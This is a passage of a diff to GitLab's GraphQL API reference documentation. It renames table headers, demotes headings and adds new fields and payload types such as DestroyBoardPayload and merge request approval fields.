-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `design` | Design | Find a specific design |
| `designAtVersion` | DesignAtVersion | Find a design as of a version |
| `issue` | Issue! | Issue associated with the design collection |
| `project` | Project! | Project associated with the design collection |
| `version` | DesignVersion | A specific version |
-## DesignManagement
+### DesignManagement
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `designAtVersion` | DesignAtVersion | Find a design as of a version |
| `version` | DesignVersion | Find a version |
-## DesignManagementDeletePayload
+### DesignManagementDeletePayload
-Autogenerated return type of DesignManagementDelete
+Autogenerated return type of DesignManagementDelete.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `version` | DesignVersion | The new version in which the designs are deleted |
-## DesignManagementMovePayload
+### DesignManagementMovePayload
-Autogenerated return type of DesignManagementMove
+Autogenerated return type of DesignManagementMove.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `designCollection` | DesignCollection | The current state of the collection |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## DesignManagementUploadPayload
+### DesignManagementUploadPayload
-Autogenerated return type of DesignManagementUpload
+Autogenerated return type of DesignManagementUpload.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `designs` | Design! => Array | The designs that were uploaded by the mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `skippedDesigns` | Design! => Array | Any designs that were skipped from the upload due to there being no change to their content since their last version |
-## DesignVersion
+### DesignVersion
-A specific version in which designs were added, modified or deleted
+A specific version in which designs were added, modified or deleted.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `designAtVersion` | DesignAtVersion! | A particular design as of this version, provided it is visible at this version |
| `id` | ID! | ID of the design version |
| `sha` | ID! | SHA of the design version |
-## DestroyNotePayload
+### DestroyBoardPayload
+
+Autogenerated return type of DestroyBoard.
-Autogenerated return type of DestroyNote
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `board` | Board | The board after mutation |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### DestroyNotePayload
-| Name | Type | Description |
-| --- | ---- | ---------- |
+Autogenerated return type of DestroyNote.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## DestroySnippetPayload
+### DestroySnippetPayload
-Autogenerated return type of DestroySnippet
+Autogenerated return type of DestroySnippet.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `snippet` | Snippet | The snippet after mutation |
-## DetailedStatus
+### DetailedStatus
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `detailsPath` | String! | Path of the details for the pipeline status |
| `favicon` | String! | Favicon of the pipeline status |
| `group` | String! | Group of the pipeline status |
@@ -679,10 +782,10 @@ Autogenerated return type of DestroySnippet
| `text` | String! | Text of the pipeline status |
| `tooltip` | String! | Tooltip associated with the pipeline status |
-## DiffPosition
+### DiffPosition
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `diffRefs` | DiffRefs! | Information about the branch, HEAD, and base at the time of commenting |
| `filePath` | String! | Path of the file that was changed |
| `height` | Int | Total height of the image |
@@ -695,39 +798,39 @@ Autogenerated return type of DestroySnippet
| `x` | Int | X position of the note |
| `y` | Int | Y position of the note |
-## DiffRefs
+### DiffRefs
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `baseSha` | String | Merge base of the branch the comment was made on |
| `headSha` | String! | SHA of the HEAD at the time the comment was made |
| `startSha` | String! | SHA of the branch being compared against |
-## DiffStats
+### DiffStats
-Changes to a single file
+Changes to a single file.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `additions` | Int! | Number of lines added to this file |
| `deletions` | Int! | Number of lines deleted from this file |
| `path` | String! | File path, relative to repository root |
-## DiffStatsSummary
+### DiffStatsSummary
-Aggregated summary of changes
+Aggregated summary of changes.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `additions` | Int! | Number of lines added |
| `changes` | Int! | Number of lines changed |
| `deletions` | Int! | Number of lines deleted |
| `fileCount` | Int! | Number of files changed |
-## Discussion
+### Discussion
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time! | Timestamp of the discussion's creation |
| `id` | ID! | ID of this discussion |
| `replyId` | ID! | ID used to reply to this discussion |
@@ -736,44 +839,44 @@ Aggregated summary of changes
| `resolvedAt` | Time | Timestamp of when the object was resolved |
| `resolvedBy` | User | User who resolved the object |
-## DiscussionToggleResolvePayload
+### DiscussionToggleResolvePayload
-Autogenerated return type of DiscussionToggleResolve
+Autogenerated return type of DiscussionToggleResolve.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `discussion` | Discussion | The discussion after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## DismissVulnerabilityPayload
+### DismissVulnerabilityPayload
-Autogenerated return type of DismissVulnerability
+Autogenerated return type of DismissVulnerability.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `vulnerability` | Vulnerability | The vulnerability after dismissal |
-## Environment
+### Environment
-Describes where code is deployed for a project
+Describes where code is deployed for a project.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `id` | ID! | ID of the environment |
| `latestOpenedMostSevereAlert` | AlertManagementAlert | The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned. |
| `metricsDashboard` | MetricsDashboard | Metrics dashboard schema for the environment |
| `name` | String! | Human-readable name of the environment |
| `state` | String! | State of the environment, for example: available/stopped |
-## Epic
+### Epic
Represents an epic.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User! | Author of the epic |
| `closedAt` | Time | Timestamp of the epic's closure |
| `confidential` | Boolean | Indicates if the epic is confidential |
@@ -810,53 +913,54 @@ Represents an epic.
| `webPath` | String! | Web path of the epic |
| `webUrl` | String! | Web URL of the epic |
-## EpicAddIssuePayload
+### EpicAddIssuePayload
-Autogenerated return type of EpicAddIssue
+Autogenerated return type of EpicAddIssue.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `epic` | Epic | The epic after mutation |
| `epicIssue` | EpicIssue | The epic-issue relation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## EpicDescendantCount
+### EpicDescendantCount
Counts of descendent epics.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `closedEpics` | Int | Number of closed child epics |
| `closedIssues` | Int | Number of closed epic issues |
| `openedEpics` | Int | Number of opened child epics |
| `openedIssues` | Int | Number of opened epic issues |
-## EpicDescendantWeights
+### EpicDescendantWeights
-Total weight of open and closed descendant issues
+Total weight of open and closed descendant issues.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `closedIssues` | Int | Total weight of completed (closed) issues in this epic, including epic descendants |
| `openedIssues` | Int | Total weight of opened issues in this epic, including epic descendants |
-## EpicHealthStatus
+### EpicHealthStatus
-Health status of child issues
+Health status of child issues.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `issuesAtRisk` | Int | Number of issues at risk |
| `issuesNeedingAttention` | Int | Number of issues that need attention |
| `issuesOnTrack` | Int | Number of issues on track |
-## EpicIssue
+### EpicIssue
-Relationship between an epic and an issue
+Relationship between an epic and an issue.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue |
| `author` | User! | User that created the issue |
| `blocked` | Boolean! | Indicates the issue is blocked |
| `closedAt` | Time | Timestamp of when the issue was closed |
@@ -879,6 +983,7 @@ Relationship between an epic and an issue
| `reference` | String! | Internal reference of the issue. Returned in shortened format by default |
| `relationPath` | String | URI path of the epic-issue relation |
| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) |
+| `severity` | IssuableSeverity | Severity level of the incident |
| `state` | IssueState! | State of the issue |
| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page |
| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue |
@@ -896,12 +1001,12 @@ Relationship between an epic and an issue
| `webUrl` | String! | Web URL of the issue |
| `weight` | Int | Weight of the issue |
-## EpicPermissions
+### EpicPermissions
-Check permissions for the current user on an epic
+Check permissions for the current user on an epic.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminEpic` | Boolean! | Indicates the user can perform `admin_epic` on this resource |
| `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource |
| `createEpic` | Boolean! | Indicates the user can perform `create_epic` on this resource |
@@ -911,29 +1016,29 @@ Check permissions for the current user on an epic
| `readEpicIid` | Boolean! | Indicates the user can perform `read_epic_iid` on this resource |
| `updateEpic` | Boolean! | Indicates the user can perform `update_epic` on this resource |
-## EpicSetSubscriptionPayload
+### EpicSetSubscriptionPayload
-Autogenerated return type of EpicSetSubscription
+Autogenerated return type of EpicSetSubscription.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `epic` | Epic | The epic after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## EpicTreeReorderPayload
+### EpicTreeReorderPayload
-Autogenerated return type of EpicTreeReorder
+Autogenerated return type of EpicTreeReorder.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## GeoNode
+### GeoNode
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `containerRepositoriesMaxCapacity` | Int | The maximum concurrency of container repository sync for this secondary node |
| `enabled` | Boolean | Indicates whether this Geo node is enabled |
| `filesMaxCapacity` | Int | The maximum concurrency of LFS/attachment backfill for this secondary node |
@@ -949,10 +1054,10 @@ Autogenerated return type of EpicTreeReorder
| `url` | String | The user-facing URL for this Geo node |
| `verificationMaxCapacity` | Int | The maximum concurrency of repository verification for this secondary node |
-## GrafanaIntegration
+### GrafanaIntegration
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time! | Timestamp of the issue's creation |
| `enabled` | Boolean! | Indicates whether Grafana integration is enabled |
| `grafanaUrl` | String! | URL for the Grafana host for the Grafana integration |
@@ -960,10 +1065,10 @@ Autogenerated return type of EpicTreeReorder
| `token` **{warning-solid}** | String! | **Deprecated:** Plain text token has been masked for security reasons. Deprecated in 12.7 |
| `updatedAt` | Time! | Timestamp of the issue's last activity |
-## Group
+### Group
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `autoDevopsEnabled` | Boolean | Indicates whether Auto DevOps is enabled for all projects within this group |
| `avatarUrl` | String | Avatar URL of the group |
| `board` | Board | A single board of the group |
@@ -995,38 +1100,53 @@ Autogenerated return type of EpicTreeReorder
| `userPermissions` | GroupPermissions! | Permissions for the current user on the resource |
| `visibility` | String | Visibility of the namespace |
| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade |
+| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups |
| `webUrl` | String! | Web URL of the group |
-## GroupMember
+### GroupMember
-Represents a Group Member
+Represents a Group Membership.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `accessLevel` | AccessLevel | GitLab::Access level |
| `createdAt` | Time | Date and time the membership was created |
| `createdBy` | User | User that authorized membership |
| `expiresAt` | Time | Date and time the membership expires |
| `group` | Group | Group that a User is a member of |
+| `id` | ID! | ID of the member |
| `updatedAt` | Time | Date and time the membership was last updated |
+| `user` | User! | User that is associated with the member object |
| `userPermissions` | GroupPermissions! | Permissions for the current user on the resource |
-## GroupPermissions
+### GroupPermissions
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `readGroup` | Boolean! | Indicates the user can perform `read_group` on this resource |
-## InstanceSecurityDashboard
+### InstanceSecurityDashboard
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade |
+| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity from projects selected in Instance Security Dashboard |
+
+### InstanceStatisticsMeasurement
+
+Represents a recorded measurement (object count) for the Admins.
-## Issue
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `count` | Int! | Object count |
+| `identifier` | MeasurementIdentifier! | The type of objects being measured |
+| `recordedAt` | Time | The time the measurement was recorded |
-| Name | Type | Description |
-| --- | ---- | ---------- |
+### Issue
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue |
| `author` | User! | User that created the issue |
| `blocked` | Boolean! | Indicates the issue is blocked |
| `closedAt` | Time | Timestamp of when the issue was closed |
@@ -1047,6 +1167,7 @@ Represents a Group Member
| `milestone` | Milestone | Milestone of the issue |
| `reference` | String! | Internal reference of the issue. Returned in shortened format by default |
| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) |
+| `severity` | IssuableSeverity | Severity level of the incident |
| `state` | IssueState! | State of the issue |
| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page |
| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue |
@@ -1064,22 +1185,22 @@ Represents a Group Member
| `webUrl` | String! | Web URL of the issue |
| `weight` | Int | Weight of the issue |
-## IssueMoveListPayload
+### IssueMoveListPayload
-Autogenerated return type of IssueMoveList
+Autogenerated return type of IssueMoveList.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssuePermissions
+### IssuePermissions
-Check permissions for the current user on a issue
+Check permissions for the current user on a issue.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminIssue` | Boolean! | Indicates the user can perform `admin_issue` on this resource |
| `createDesign` | Boolean! | Indicates the user can perform `create_design` on this resource |
| `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource |
@@ -1089,102 +1210,113 @@ Check permissions for the current user on a issue
| `reopenIssue` | Boolean! | Indicates the user can perform `reopen_issue` on this resource |
| `updateIssue` | Boolean! | Indicates the user can perform `update_issue` on this resource |
-## IssueSetAssigneesPayload
+### IssueSetAssigneesPayload
+
+Autogenerated return type of IssueSetAssignees.
-Autogenerated return type of IssueSetAssignees
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `issue` | Issue | The issue after mutation |
+
+### IssueSetConfidentialPayload
+
+Autogenerated return type of IssueSetConfidential.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetConfidentialPayload
+### IssueSetDueDatePayload
-Autogenerated return type of IssueSetConfidential
+Autogenerated return type of IssueSetDueDate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetDueDatePayload
+### IssueSetEpicPayload
-Autogenerated return type of IssueSetDueDate
+Autogenerated return type of IssueSetEpic.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetEpicPayload
+### IssueSetIterationPayload
-Autogenerated return type of IssueSetEpic
+Autogenerated return type of IssueSetIteration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetIterationPayload
+### IssueSetLockedPayload
-Autogenerated return type of IssueSetIteration
+Autogenerated return type of IssueSetLocked.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetLockedPayload
+### IssueSetSeverityPayload
-Autogenerated return type of IssueSetLocked
+Autogenerated return type of IssueSetSeverity.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetSubscriptionPayload
+### IssueSetSubscriptionPayload
-Autogenerated return type of IssueSetSubscription
+Autogenerated return type of IssueSetSubscription.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueSetWeightPayload
+### IssueSetWeightPayload
-Autogenerated return type of IssueSetWeight
+Autogenerated return type of IssueSetWeight.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## IssueStatusCountsType
+### IssueStatusCountsType
Represents total number of issues for the represented statuses.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `all` | Int | Number of issues with status ALL for the project |
| `closed` | Int | Number of issues with status CLOSED for the project |
| `opened` | Int | Number of issues with status OPENED for the project |
-## Iteration
+### Iteration
Represents an iteration object.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts |
| `createdAt` | Time! | Timestamp of iteration creation |
| `description` | String | Description of the iteration |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
@@ -1200,10 +1332,10 @@ Represents an iteration object.
| `webPath` | String! | Web path of the iteration |
| `webUrl` | String! | Web URL of the iteration |
-## JiraImport
+### JiraImport
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time | Timestamp of when the Jira import was created |
| `failedToImportCount` | Int! | Count of issues that failed to import |
| `importedIssuesCount` | Int! | Count of issues that were successfully imported |
@@ -1212,56 +1344,56 @@ Represents an iteration object.
| `scheduledBy` | User | User that started the Jira import |
| `totalIssueCount` | Int! | Total count of issues that were attempted to import |
-## JiraImportStartPayload
+### JiraImportStartPayload
-Autogenerated return type of JiraImportStart
+Autogenerated return type of JiraImportStart.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `jiraImport` | JiraImport | The Jira import data after mutation |
-## JiraImportUsersPayload
+### JiraImportUsersPayload
-Autogenerated return type of JiraImportUsers
+Autogenerated return type of JiraImportUsers.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `jiraUsers` | JiraUser! => Array | Users returned from Jira, matched by email and name if possible. |
-## JiraProject
+### JiraProject
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `key` | String! | Key of the Jira project |
| `name` | String | Name of the Jira project |
| `projectId` | Int! | ID of the Jira project |
-## JiraService
+### JiraService
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `active` | Boolean | Indicates if the service is active |
| `type` | String | Class name of the service |
-## JiraUser
+### JiraUser
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `gitlabId` | Int | ID of the matched GitLab user |
| `gitlabName` | String | Name of the matched GitLab user |
| `gitlabUsername` | String | Username of the matched GitLab user |
-| `jiraAccountId` | String! | Account id of the Jira user |
+| `jiraAccountId` | String! | Account ID of the Jira user |
| `jiraDisplayName` | String! | Display name of the Jira user |
| `jiraEmail` | String | Email of the Jira user, returned only for users with public emails |
-## Label
+### Label
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `color` | String! | Background color of the label |
| `description` | String | Description of the label (Markdown rendered as HTML for caching) |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
@@ -1269,23 +1401,28 @@ Autogenerated return type of JiraImportUsers
| `textColor` | String! | Text color of the label |
| `title` | String! | Content of the label |
-## MarkAsSpamSnippetPayload
+### MarkAsSpamSnippetPayload
-Autogenerated return type of MarkAsSpamSnippet
+Autogenerated return type of MarkAsSpamSnippet.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `snippet` | Snippet | The snippet after mutation |
-## MergeRequest
+### MergeRequest
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `allowCollaboration` | Boolean | Indicates if members of the target project can push to the fork |
+| `approvalsLeft` | Int | Number of approvals left |
+| `approvalsRequired` | Int | Number of approvals required |
+| `approved` | Boolean! | Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured. |
| `author` | User | User who created this merge request |
+| `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request |
| `commitCount` | Int | Number of commits in the merge request |
+| `conflicts` | Boolean! | Indicates if the merge request has conflicts |
| `createdAt` | Time! | Timestamp of when the merge request was created |
| `defaultMergeCommitMessage` | String | Default merge commit message of the merge request |
| `description` | String | Description of the merge request (Markdown rendered as HTML for caching) |
@@ -1339,23 +1476,24 @@ Autogenerated return type of MarkAsSpamSnippet
| `webUrl` | String | Web URL of the merge request |
| `workInProgress` | Boolean! | Indicates if the merge request is a work in progress (WIP) |
-## MergeRequestCreatePayload
+### MergeRequestCreatePayload
-Autogenerated return type of MergeRequestCreate
+Autogenerated return type of MergeRequestCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestPermissions
+### MergeRequestPermissions
-Check permissions for the current user on a merge request
+Check permissions for the current user on a merge request.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminMergeRequest` | Boolean! | Indicates the user can perform `admin_merge_request` on this resource |
+| `canMerge` | Boolean! | Indicates the user can perform `can_merge` on this resource |
| `cherryPickOnCurrentMergeRequest` | Boolean! | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource |
| `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource |
| `pushToSourceBranch` | Boolean! | Indicates the user can perform `push_to_source_branch` on this resource |
@@ -1364,106 +1502,107 @@ Check permissions for the current user on a merge request
| `revertOnCurrentMergeRequest` | Boolean! | Indicates the user can perform `revert_on_current_merge_request` on this resource |
| `updateMergeRequest` | Boolean! | Indicates the user can perform `update_merge_request` on this resource |
-## MergeRequestSetAssigneesPayload
+### MergeRequestSetAssigneesPayload
-Autogenerated return type of MergeRequestSetAssignees
+Autogenerated return type of MergeRequestSetAssignees.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestSetLabelsPayload
+### MergeRequestSetLabelsPayload
-Autogenerated return type of MergeRequestSetLabels
+Autogenerated return type of MergeRequestSetLabels.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestSetLockedPayload
+### MergeRequestSetLockedPayload
-Autogenerated return type of MergeRequestSetLocked
+Autogenerated return type of MergeRequestSetLocked.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestSetMilestonePayload
+### MergeRequestSetMilestonePayload
-Autogenerated return type of MergeRequestSetMilestone
+Autogenerated return type of MergeRequestSetMilestone.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestSetSubscriptionPayload
+### MergeRequestSetSubscriptionPayload
-Autogenerated return type of MergeRequestSetSubscription
+Autogenerated return type of MergeRequestSetSubscription.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestSetWipPayload
+### MergeRequestSetWipPayload
-Autogenerated return type of MergeRequestSetWip
+Autogenerated return type of MergeRequestSetWip.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## MergeRequestUpdatePayload
+### MergeRequestUpdatePayload
-Autogenerated return type of MergeRequestUpdate
+Autogenerated return type of MergeRequestUpdate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `mergeRequest` | MergeRequest | The merge request after mutation |
-## Metadata
+### Metadata
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `revision` | String! | Revision |
| `version` | String! | Version |
-## MetricsDashboard
+### MetricsDashboard
